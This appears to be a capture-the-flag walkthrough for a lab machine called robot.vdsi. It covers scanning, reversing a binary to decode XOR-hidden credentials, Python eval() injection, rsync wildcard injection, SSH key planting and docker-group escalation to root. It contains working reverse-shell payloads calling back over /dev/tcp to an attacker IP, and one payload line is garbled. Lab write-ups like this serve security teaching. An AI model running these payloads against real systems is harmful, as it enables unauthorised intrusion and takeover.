

Enumeration

Target

Launch nmap with the following flags

```
1 nmap -sn <ip>/<subnet>
```

to find the IP addresses that are UP. By excluding our guest VM (the kali one) in our case the target is located at 172.16.189.136.

Open ports

Run

```
1 sudo nmap -sC 172.16.189.136 -vvvv
```

Open ports are

Port	Service
22	ssh
80	http
443	https
8080	http
8081	http
8082	http

Browsing to “http://172.16.189.136” shows the default page of [nginx](#).

Nmap also returns a certificate, which shows a commonname [robot.vdsi](#). This is an hint that maybe there are **virtual hosts** running on this target machine.

File enumeration on robot.vdsi

Launching [gobuster](#) with [raft](#) wordlist gives a binary file named [connector](#)

Binary reversing

`connector` is an ELF file (Linux executable), which is *not stripped*, so we are able to easily identify the `main` function.

Within decompiled code, there are 2 calls to the function `cryptHelper`: this is a function which 'encrypts' some input passed by the user, using XOR with a fixed key, which value is `TheKey`.

To make Ghidra display `cryptHelper` function more clearly, some steps should be done:

- **right click -> Edit function signature:** change the type of both `param_1` and `param_3` to `char *`
- Eventually, rename such parameters as `input` and `key`
- Rename `param_4` as `key_length`
- change the name of the first local variable to `key_idx` and the name of the second local variable to `idx`

At this point, `cryptHelper` should look like in Figure~1

```
void cryptHelper(char *input, uint param_2, char *key, int key_length)
{
    int key_idx;
    uint idx;

    key_idx = 0;
    for (idx = 0; idx < param_2; idx = idx + 1) {
        if (key_length + -1 == key_idx) {
            key_idx = 0;
        }
        input[idx] = input[idx] ^ key[key_idx];
        key_idx = key_idx + 1;
    }
    return;
}
```

Figure 1: crypt_helper funtion

By looking at `main` function, it is possible to notice that, after encrypting user credentials with `cryptHelper`, the result is checked against two global variables, namely

- `DAT_0001207b` which is the valid encrypted username
- `DAT_00012085` which is the valid encrypted password

At this point, we copy such values from Ghidra, by clicking on each data, highlighting the bytes and doing **right click** -> **copy special...** -> **Python List**

(**NB:** remember that the last byte is the null string terminator, so strip it off from the final plaintext string)

Such lists can be used in a script to decode (*de-xor*) the credentials and obtain plaintext values. An example script is shown below

```
1 ENC_USERNAME = [ 0x30, 0x0d, 0x13, 0x2e, 0x09, 0x16, 0x24, 0x0d, 0x17,
    0x00 ]
2 ENC_PASSWORD = [ 0x10, 0x5b, 0x13, 0x78, 0x09, 0x49, 0x24, 0x5b, 0x17,
    0x1b, 0x51, 0x5d, 0x70, 0x1f, 0x0a, 0x39, 0x01, 0x00 ]
3
4 KEY = "TheKey"
5
6 def de_xor(encrypted, key) -> str:
7     key_idx = 0
8     plaintext = ""
9     for c in encrypted:
10         plaintext += chr(ord(key[key_idx % len(key)]) ^ c)
11         key_idx += 1
12     return plaintext
13
14
15 print(f"username: {de_xor(ENC_USERNAME, KEY)[: -1]}, password: {de_xor(
    ENC_PASSWORD, KEY)[: -1]}")
```

Vhost enumeration

Since there is a common name for this target, we can try to enumerate the eventual vhosts.

We launch the command:

```
1 gobuster vhost -u "http://robot.vdsi" -w /path/to/top100000.txt --
    append-domain
```

(**N.B:** the way vhost works is that the HTTP request will contain a header in which the `host` field will be found, with the name of the VHOST found).

A vhost named `calculator.robot.vdsi` appears to be active

File enumeration of calculator.robot.vdsi

Launching `gobuster` with `raft` wordlist (large)

```
1 gobuster dir -u "http://calculator.robot.vdsi" -w wordlist -b 401
```

Calcuator app

Login in with credentials obtained by reversing `calculator`, a calculator webapp is found. Inspecting HTML code, there is a comment suggesting that this is a python application, maybe using the `eval()` function to serve users' requests.

`eval` function is vulnerable to code injection, after some tests we are able to get a reverse shell using the following code:

```
1 __import__('os').system("/bin/bash -c 'sh -i >& /dev/tcp  
  /172/16/189/134/4242 0>&1'")
```

PrivEsc

blander user

After taking the reverse shell, we are **balnder** user. Our job is now to elevate our privileges until we become root. There is a container running a backup script. Such script uses `rsync` with the `-a *` flag, so it is exploitable through **wildcard exploitation**. With the `-e` it is possible to launch commands.

```
1 #!/bin/bash  
2  
3 /bin/bas -c "/bin/bash -c 'bash -i >& /dev/tcp/172.16.189.134/7777  
  0>&1'"
```

then, create the file with `touch -- '-e sh shell.sh'` and wait for the connection.

Aris user

There is a `.ssh` folder in the mounted volume, copy the ssh public key (you can generate one with `ssh-keygen` command) from the host and login as `ssh aris@calculator.robot.vdsi`

Root user

Launching `linpeas.sh` gives the insight that the user is in `docker` group, so by consulting **GTFObins** it is possible to gain a shell as root.